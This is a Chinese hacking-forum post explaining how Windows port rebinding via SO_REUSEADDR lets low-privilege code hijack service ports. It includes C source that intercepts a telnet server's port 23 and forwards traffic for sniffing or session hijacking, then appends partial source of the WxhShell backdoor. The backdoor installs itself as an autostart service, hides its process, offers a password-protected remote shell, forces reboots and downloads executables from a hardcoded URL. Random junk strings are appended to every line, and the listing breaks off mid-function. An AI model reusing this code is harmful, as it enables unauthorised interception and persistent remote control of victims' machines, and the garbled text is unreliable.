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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D|TLTF"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ql~#((K  
wi\z>'R  
  saddr.sin_family = AF_INET; W>Mse[6`c  
\;-=ODC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J4gI=@e  
n2n00%Wu[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #"Eks79s  
t7|MkX1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OgEUq''  
k40Ep(M}  
  这意味着什么?意味着可以进行如下的攻击: vIVw'Z(g}  
# #k #q=4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @A [)hk&(R  
M5']sdR(l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /rIm7FW)  
yy1>r }L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <G\ <QV8W  
3TU'*w &  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7o;x (9  
j7@!J7S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ljup#:n  
nU} ~I)@V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CV!;oB&  
OM20-KDc5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gI)w^7Gi  
<K.Bq]  
  #include I:F'S#  
  #include EvwbhvA(  
  #include 0=OD?48<  
  #include    E x_L!9>!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D^,\cZbY  
  int main() M'\pkzx  
  { 'rS'B.D  
  WORD wVersionRequested; WYSck&9  
  DWORD ret; T?H\&2CLT  
  WSADATA wsaData; ZJ^s}  
  BOOL val; 0SJ{@*  
  SOCKADDR_IN saddr; 7'_nc!ME  
  SOCKADDR_IN scaddr; Sdgb#?MR|  
  int err; %S{o5txo  
  SOCKET s; nHSTeF I?  
  SOCKET sc; uDILjOT  
  int caddsize; T|;^.TZ  
  HANDLE mt; McEmd.S<n  
  DWORD tid;   }l.KpdRT2  
  wVersionRequested = MAKEWORD( 2, 2 ); 7}<Sg  
  err = WSAStartup( wVersionRequested, &wsaData ); 'oC$6l'rQ  
  if ( err != 0 ) { )*!1bgXQ  
  printf("error!WSAStartup failed!\n");  Nm jzDN  
  return -1; ;xSRwSNDi(  
  } mYX56,b}5  
  saddr.sin_family = AF_INET; j: <t  
   q^u1z|'Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Lb!r(o>8Cb  
dO+kPC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7k 3p'FeS  
  saddr.sin_port = htons(23); LL{t5(- _  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +jcdf}  
  { 4w@v#H@  
  printf("error!socket failed!\n"); N%O[  
  return -1; >P(eW7RL  
  } :OHSxb>[  
  val = TRUE;  q4_**  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gk"mr_03  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D2Y&[zgv  
  { u-lrTa""z  
  printf("error!setsockopt failed!\n"); M6\7FP6G  
  return -1; @|^jq  
  } Z%Vr+)!4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?hKm&B;d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6%>/og\%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _~ v-:w  
w-lrnjs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^Ss<X}es-  
  { !@( M_Z'  
  ret=GetLastError(); 77``8,  
  printf("error!bind failed!\n"); 6!Qknk$  
  return -1; YQ52~M0L  
  } o1U}/y+R\  
  listen(s,2); ?F1wh2o q  
  while(1) "s% 686Vz  
  { B jYOfu'~z  
  caddsize = sizeof(scaddr); H;qJH1EdD  
  //接受连接请求 )+?HI^-[S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _ ~|Q4AJ  
  if(sc!=INVALID_SOCKET) {-Yee[d<?  
  { <p09oZ{6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [ qiOd!  
  if(mt==NULL) INOH{`}Ew  
  { N9pwWg&<+  
  printf("Thread Creat Failed!\n"); GN0duV  
  break; N.jA 8X  
  } rrAqI$6  
  } +B#qu/By  
  CloseHandle(mt); gNTh% e  
  } 1f<RyAE?5  
  closesocket(s); cu<y8 :U<  
  WSACleanup(); O5O.><RP  
  return 0; ikr7DBLt  
  }   XYts8}y5  
  DWORD WINAPI ClientThread(LPVOID lpParam) "i&fp:E0  
  { |IAW{_9)U  
  SOCKET ss = (SOCKET)lpParam; +Jdm #n?_  
  SOCKET sc; Gp,'kw"I  
  unsigned char buf[4096]; /0 _zXQyV  
  SOCKADDR_IN saddr; (oF-O{  
  long num; oQ{cSThj  
  DWORD val; o'96ON0  
  DWORD ret; b9y)wBC%`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G,B?&gFX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r4EoJyt  
  saddr.sin_family = AF_INET; ~zMDY F"&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n%*tMr9s  
  saddr.sin_port = htons(23); XwtAF3oz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RYH)AS4w'  
  { \p3v#0R{  
  printf("error!socket failed!\n"); bGu([VB  
  return -1; 6i| ~7md,  
  } ! j{CuA/  
  val = 100; iyc$)"w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O)`Gzx*ShU  
  { v[VC2D  
  ret = GetLastError(); e]+7DE  
  return -1; }Fm\+JOS   
  } ?&6Q%IUW1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J]dW1boT@  
  { ^@K WYAAW5  
  ret = GetLastError(); 8]HY. $E  
  return -1; %{U"EZ]D!  
  } 5*Btb#:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?T <rt  
  { ~~@y_e[N#l  
  printf("error!socket connect failed!\n"); =D5wqCT(Q  
  closesocket(sc); |WBZN1W)  
  closesocket(ss); ZB$NVY  
  return -1; pu#[pa  
  } p.5e: i^LJ  
  while(1) nn'Af,ko/  
  { ~{$L9;x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .+HcAx{/2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a>w~FUm*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I )5<DZB9  
  num = recv(ss,buf,4096,0); V,m3-=q  
  if(num>0) K_Re}\D  
  send(sc,buf,num,0); ^\T]r<rCY  
  else if(num==0) %W&1`^Jl  
  break; &*A:[b\  
  num = recv(sc,buf,4096,0); [EruyWK  
  if(num>0) bLco:-G1E1  
  send(ss,buf,num,0); V,vc_d?,_o  
  else if(num==0) Td&d,;  
  break; h"r!q[MN o  
  } f]]f85  
  closesocket(ss); L0xsazX:x  
  closesocket(sc); 9OfU7_m  
  return 0 ; K'V 2FTJI  
  } cf\&No?-p  
G1/Gq.<  
.zIgbv s  
========================================================== m &!XA  
i?x$w{co  
下边附上一个代码,,WXhSHELL - zQ<Z E  
A$:|Qd7F1  
========================================================== bOb Nc  
!?b/-~o7S  
#include "stdafx.h" ki#bPgT  
)'t&q/Wn  
#include <stdio.h> 5D L,U(Y  
#include <string.h> 8gAu7\p}  
#include <windows.h> {:$NfW  
#include <winsock2.h> XfDX:b1p  
#include <winsvc.h> M9DgO4xl  
#include <urlmon.h> ?M~  k$  
Se Oy7  
#pragma comment (lib, "Ws2_32.lib") D7gHE  
#pragma comment (lib, "urlmon.lib") ]VDn'@uM  
#2N_/J(U  
#define MAX_USER   100 // 最大客户端连接数 X|'2R^V.  
#define BUF_SOCK   200 // sock buffer MnS+nH!d  
#define KEY_BUFF   255 // 输入 buffer DN<M?u]  
?<6@^X"  
#define REBOOT     0   // 重启 c$A@T~$  
#define SHUTDOWN   1   // 关机 -"tY{}z  
kT2Wm/L  
#define DEF_PORT   5000 // 监听端口 {Xv3:"E"O  
]=Pu\eE  
#define REG_LEN     16   // 注册表键长度 ^e%k~B^  
#define SVC_LEN     80   // NT服务名长度 x 'mF&^  
gH'3 dS!{  
// 从dll定义API Sc{Tq\t;%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (0}j]p'w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #D0 ~{H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `O n(v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x0ne8NDP  
Why"G1`  
// wxhshell配置信息 He<;4?:  
struct WSCFG { _A3X6  
  int ws_port;         // 监听端口 @ZG>mP1Vo  
  char ws_passstr[REG_LEN]; // 口令 6KO(j/Gwp  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8i[LR#D)  
  char ws_regname[REG_LEN]; // 注册表键名 N|<bVq%  
  char ws_svcname[REG_LEN]; // 服务名 [<S^c[47U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5*+I M*c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gyFr"9';c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Z'/+}^h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no shzG Eb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uJ 8x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #j.FJFGX  
#R<G,"N5  
}; b5S7{"<V  
mLaCkn  
// default Wxhshell configuration  P63 (^R  
struct WSCFG wscfg={DEF_PORT, %qi%$  
    "xuhuanlingzhe", '$6PTa  
    1, S(tEw Xy  
    "Wxhshell", R"{l[9j4>  
    "Wxhshell", `I#`:hj  
            "WxhShell Service", lRH0)5`  
    "Wrsky Windows CmdShell Service", Bq{ ]Eh0%  
    "Please Input Your Password: ", s`1^*Dl%+  
  1, u>}zm_  
  "http://www.wrsky.com/wxhshell.exe", ](nH{aY!  
  "Wxhshell.exe" AAo0M/U'  
    }; &?r*p0MQC  
p&O8qAaO  
// 消息定义模块 AIv<f9*.:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QoseS/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e96#2A5f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [zx|eG<&-  
char *msg_ws_ext="\n\rExit."; GMe0;StT  
char *msg_ws_end="\n\rQuit."; ll2Vk*xs  
char *msg_ws_boot="\n\rReboot..."; ZRP y~wy>  
char *msg_ws_poff="\n\rShutdown..."; j.B>v\b_3  
char *msg_ws_down="\n\rSave to "; f~R[&q +  
A _i zSzC1  
char *msg_ws_err="\n\rErr!"; bBG/gQ  
char *msg_ws_ok="\n\rOK!"; N6q5`Ry  
{#9,j]<  
char ExeFile[MAX_PATH]; qy&\Xgn;GA  
int nUser = 0; :*cHA  
HANDLE handles[MAX_USER]; gi1j/j7  
int OsIsNt;  Oq}ip  
Ck@M<(x  
SERVICE_STATUS       serviceStatus; ^9=4iXd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; om>VQ3  
Ko+al{2  
// 函数声明 6%UY1Q.?  
int Install(void); 3fl7~Lw,  
int Uninstall(void); vzcz<i )  
int DownloadFile(char *sURL, SOCKET wsh); Uuz?8/w}#  
int Boot(int flag); ? oc+ 1e  
void HideProc(void); dk8y>uLr_  
int GetOsVer(void); qCQu^S' iD  
int Wxhshell(SOCKET wsl); I{EIHD<  
void TalkWithClient(void *cs); ?b"Vj+1:x  
int CmdShell(SOCKET sock); m/{Y]D{2  
int StartFromService(void); ,ex]$fQ'  
int StartWxhshell(LPSTR lpCmdLine); 1J&#&\,f&  
BCBUb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #fN/LO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L^)qe^%3  
 C/  
// 数据结构和表定义 *_#&"(P  
SERVICE_TABLE_ENTRY DispatchTable[] = g&kH'fR8  
{ 9cz)f\  
{wscfg.ws_svcname, NTServiceMain}, zuMO1s  
{NULL, NULL} @.1Qs`pt  
}; :Fnzi0b  
BvQUn@ XE  
// 自我安装 *w|iu^G  
int Install(void) P8IRH#ED  
{ 5Xj|:qz<(  
  char svExeFile[MAX_PATH]; !?6.!2  
  HKEY key; Vf$1Sjw  
  strcpy(svExeFile,ExeFile); oc:x&`j  
$ hoYkA  
// 如果是win9x系统,修改注册表设为自启动 ,6RQvw  
if(!OsIsNt) { !]G jIT]Oh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0JyqCb l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l@#b;M/  
  RegCloseKey(key); 8:<1|]]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O"8P#Ed  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zik m?(J  
  RegCloseKey(key); Bd8hJA  
  return 0; 61kO1,Uz*  
    } y}Cj#I+a  
  } 0f{IE@-b  
} C[g&F 0 6  
else { soDfi-2o3  
Yx!n*+:J  
// 如果是NT以上系统,安装为系统服务 s<,"Hsh^CR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QU,?}w'?d  
if (schSCManager!=0) %uW<  
{ R@&?i=gk  
  SC_HANDLE schService = CreateService PK8V2Ttv  
  ( Rd0?zEKV  
  schSCManager, B]i+,u  
  wscfg.ws_svcname, "(N-h\7Ex9  
  wscfg.ws_svcdisp, D"'#one  
  SERVICE_ALL_ACCESS, 0OEtU5lf`y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7F~xq#Wi#  
  SERVICE_AUTO_START, j~.u>4  
  SERVICE_ERROR_NORMAL, jWhD5k@v  
  svExeFile, yG4MUf6  
  NULL, F; 0Dp  
  NULL, #|q;t   
  NULL, ,rXW`7!2  
  NULL, bu;vpNa  
  NULL ]Px:d+wX:  
  ); XGL"gD   
  if (schService!=0) aK-N}T  
  { eZ[#+0J  
  CloseServiceHandle(schService); iKY-;YK  
  CloseServiceHandle(schSCManager); jD<9=B(g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,I=O"z>9  
  strcat(svExeFile,wscfg.ws_svcname); C>M6&=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6mX:=Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RBPYG u'6B  
  RegCloseKey(key);  eMztjN  
  return 0; /1U,+g^O>  
    } aQC 7V!v  
  } E|\3f(aF  
  CloseServiceHandle(schSCManager); V` U/'N-ay  
} ;B(;2.<"J  
} E#m76]vkCU  
L{zamVQG  
return 1; e_\SSH @tw  
} N%: D8\qx  
@i;LZa  
// 自我卸载 2~+'vi  
int Uninstall(void) MuN [U17FB  
{ O $YJku  
  HKEY key; !P+~ c0DF  
O'Vh{JHf  
if(!OsIsNt) { )_WH#-}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^BQ>vI'.4  
  RegDeleteValue(key,wscfg.ws_regname); >Y44{D\`  
  RegCloseKey(key); bXk:~LE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zp}yiE!bl  
  RegDeleteValue(key,wscfg.ws_regname); 4{c`g$j>  
  RegCloseKey(key); A5`#Ot*3  
  return 0; l[:^TfB  
  } k:@a[qnY  
} 1i ?gvzrq  
}  j@s=ER  
else { N.kuE=X  
"bL P3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uHTKo(NG  
if (schSCManager!=0) `Nc`xO?  
{ @?(nwj~ s`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); + ?[ ACZF  
  if (schService!=0) QJb7U5:B+  
  { `1}HWLBX.  
  if(DeleteService(schService)!=0) { # r2$ZCo3o  
  CloseServiceHandle(schService); m/SJ4op$  
  CloseServiceHandle(schSCManager); 8.6no  
  return 0; 9N`+ O  
  } yN%3w0v  
  CloseServiceHandle(schService); }mkA Hmu4  
  } q=(M!9cE  
  CloseServiceHandle(schSCManager); t"jIfU>'a/  
} EY=\C$3J:  
} y=y/d>=w  
,K"r:)\  
return 1; {b\Y?t^>f  
} =P@M&Yy'  
";%e~ =  
// 从指定url下载文件 eG a#$x?.  
int DownloadFile(char *sURL, SOCKET wsh) Z_ iQU1  
{ 7R% PVgS4x  
  HRESULT hr; $sB48LJuU'  
char seps[]= "/"; My`josJ`Pb  
char *token; iPR!JX _  
char *file; :Q0?ub]  
char myURL[MAX_PATH]; (Q*2dd>  
char myFILE[MAX_PATH]; LbLbJ{68  
T +|J19  
strcpy(myURL,sURL); >"2\D|-/  
  token=strtok(myURL,seps); S}XB |  
  while(token!=NULL) Off: ~  
  { E1mI Xd;.  
    file=token; BZnp #}f  
  token=strtok(NULL,seps); N> uZt2  
  } b7F3]W<`&  
z/Mhu{ttL  
GetCurrentDirectory(MAX_PATH,myFILE); 8=!r nJCav  
strcat(myFILE, "\\"); 3(Hj7d7'}  
strcat(myFILE, file); \{Ox@   
  send(wsh,myFILE,strlen(myFILE),0); _"FbjQ"  
send(wsh,"...",3,0);  ==r ?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t6! p\Y}}  
  if(hr==S_OK) R(n0!h4  
return 0; ;@=@N9q K  
else |1\dCE03}  
return 1; + 3~Gc<OO  
`&"H* Ie  
} *;V2_fWJ@  
K{`2jK#  
// 系统电源模块 S]#=ES'^/  
int Boot(int flag) ;'Z,[a  
{ Q9Xm b2LN  
  HANDLE hToken; ]e#,\})Br  
  TOKEN_PRIVILEGES tkp; \6nQ-S_  
wnZ*k(  
  if(OsIsNt) { Xm0&U?dZB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A1=$kzw{UH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [xp~@5r'  
    tkp.PrivilegeCount = 1; <*b]JY V@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iPtm@f,bI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !<['iM  
if(flag==REBOOT) { ||"":K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gn4g 43  
  return 0; 7oqn;6<[>,  
} c=jTs+h'  
else { ,i$(yx?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )KTWLr;  
  return 0; i85+p2i7  
} hz>yv@1  
  } S{`!9Pii  
  else { F?+Uar|-a  
if(flag==REBOOT) { |tolgdj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M7cI$=G  
  return 0; '6Z/-V4k  
} $O8EiC!f6  
else { 3ec==.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k*UR# z(I  
  return 0; :BrnRW64  
} ^QHMN 7r/  
} 2kmna/Qa6  
sL[(cX?;2  
return 1; ! A ydhe  
} 5e~{7{  
#/ gme  
// win9x进程隐藏模块 )4o=t.O\K  
void HideProc(void) ,:Rq  
{ V }r_   
@Tm0T7C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0I ND9h. %  
  if ( hKernel != NULL ) Z:o' +oh  
  { v'2OHb#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kw5+4R(5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bju,p"J1-E  
    FreeLibrary(hKernel); +XaO?F[c  
  } ]a Ma*fF  
~]t2?SqNm  
return; yI)RG OV  
} (/rIodHJO  
3 v,ae7$U&  
// 获取操作系统版本 F" #3s=  
int GetOsVer(void) ju2X*  
{ L^ jC& dF  
  OSVERSIONINFO winfo; YQ[&h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SJ|.% gn  
  GetVersionEx(&winfo); 5IF~]5s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BX)cV  
  return 1; W~@GK  
  else  M$-(4 0  
  return 0; =w>>7u$4  
} 4@V<Suw  
B #V 4  
// 客户端句柄模块 m#}{"d&J  
int Wxhshell(SOCKET wsl) GT`<jzAiQ  
{ + 1%^c(3  
  SOCKET wsh; =jd=Qs IL  
  struct sockaddr_in client; pa> 2JF*  
  DWORD myID; 1_E3DXe  
^ {]sD}Q"  
  while(nUser<MAX_USER) HuLm!tCu  
{ `5 v51TpH  
  int nSize=sizeof(client); Tk@g9\6O9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {CyPcD'$s  
  if(wsh==INVALID_SOCKET) return 1; C?<XtIoB  
}JTgj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .^+$w $  
if(handles[nUser]==0) r3bvuq,6$  
  closesocket(wsh); A,CPR0g%  
else EpS8,[w  
  nUser++; t;~`Lm@hY  
  } kGTc~p(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z(#hL-{c  
9,a,A6xry  
  return 0; 3b/vyZF  
} DDCQAf  
@IKe<{w  
// 关闭 socket LkbvA  
void CloseIt(SOCKET wsh) ^DCv-R+ p  
{ Oj|p`Dzh  
closesocket(wsh); lL+^n~g  
nUser--; TXOW/{B  
ExitThread(0); Dp |FyP_w  
} EQ`t:jc {  
aiX;D/t?  
// 客户端请求句柄 r`"#c7)  
void TalkWithClient(void *cs) S/:QVs  
{ e ~,'|~ C5  
 eJ\j{-  
  SOCKET wsh=(SOCKET)cs; &^D@(m7>{K  
  char pwd[SVC_LEN]; ~E|V{z%  
  char cmd[KEY_BUFF]; G78j$ ^/0  
char chr[1]; %_=R&m'n`  
int i,j; U=#ylQ   
Z1lF[d,f;  
  while (nUser < MAX_USER) { U$JIF/MO_  
WsDe0F  
if(wscfg.ws_passstr) { >\x 39B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]SR`96vG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "^e?E:( 3  
  //ZeroMemory(pwd,KEY_BUFF); h}<ZZ  
      i=0; 5Cyjq0+  
  while(i<SVC_LEN) { t4c#' y  
imq(3?  
  // 设置超时 =]mx"0i[  
  fd_set FdRead; EuA<{%i  
  struct timeval TimeOut; L;t~rW!1  
  FD_ZERO(&FdRead); b1^Yxe#L  
  FD_SET(wsh,&FdRead); ^ nZ2p$  
  TimeOut.tv_sec=8; ~TR|Pv  
  TimeOut.tv_usec=0; {hP&P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U jzz`!mz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]BBgU[O) !  
/%w[q:..h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AFJY!ou~6  
  pwd=chr[0]; IGV.0l  
  if(chr[0]==0xd || chr[0]==0xa) { D ;I;,Z  
  pwd=0; __%E!*m"<_  
  break; \k-juF80  
  } iC2nHZ*,  
  i++; z(68^-V=:  
    } Ui;s.f  
5&Kn #  
  // 如果是非法用户,关闭 socket kU>|E<c*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); trt\PP:H%  
} V/%;:u l.  
ryLNMh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g'7hc~=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { 4{{;   
RYaof W  
while(1) { ]7 mSM  
~,-O  
  ZeroMemory(cmd,KEY_BUFF); ^#nWgo7{7  
s hvcc  
      // 自动支持客户端 telnet标准   * %BI*p  
  j=0; ,w>?N\w!}  
  while(j<KEY_BUFF) { JLn<,Gn)<\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %"fKZ  
  cmd[j]=chr[0]; *9 wHH-#  
  if(chr[0]==0xa || chr[0]==0xd) { U  {!{5l:  
  cmd[j]=0; ^}\R]})w"  
  break; ]arskmB]  
  } -RDs{c`y%N  
  j++; @ &yj7-]  
    } ebK wCZwK*  
agD.J)v\  
  // 下载文件 MCG~{#`  
  if(strstr(cmd,"http://")) { Q kpmPQK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HN@)/5BY  
  if(DownloadFile(cmd,wsh)) >iJuR.:OO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i_ TdI  
  else [i#Gqx>'w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gP%!  
  } @!O{>`  
  else { Z"T(8>c;g  
.LHe*JC  
    switch(cmd[0]) { 7E)7sd  
  a[l5k  
  // 帮助 mj|9x1U)  
  case '?': { [ Ulo; #P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e1Hx"7ew_  
    break; K a|\gl;V  
  } 3vD,hL`&  
  // 安装 W RaO.3Q@.  
  case 'i': { ]zY'w,?D\F  
    if(Install()) >L4$DKO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /MtacR  
    else ^SCWT\E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ob #XKL  
    break; FR"^?z?}p  
    } Xy&#}S}9  
  // 卸载 $c47cJO)W  
  case 'r': { Or>[_3  
    if(Uninstall()) -y<uAI g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4gENV{ L  
    else x0GZ2*vfsb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bf(&N-"A  
    break; tYa8I/HpT  
    } Ts6X:D4,  
  // 显示 wxhshell 所在路径 V1;-5L75  
  case 'p': { 2jC\yY |PN  
    char svExeFile[MAX_PATH]; WE]^w3n9  
    strcpy(svExeFile,"\n\r"); yG4MqR)J  
      strcat(svExeFile,ExeFile); JqZ5DjI:  
        send(wsh,svExeFile,strlen(svExeFile),0); "Fiv ]^  
    break; lsi8?91  
    } &0`7_g7G  
  // 重启 &r%3)Z8Et  
  case 'b': { UC@"<$'C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pC8i &_A  
    if(Boot(REBOOT)) `_`,XkpzCJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ic#drpl,  
    else { @eWx4bl  
    closesocket(wsh); mNKa~E  
    ExitThread(0); v g]&T  
    } {%Sw w:  
    break; X9HI@M]h  
    } OpQa!  
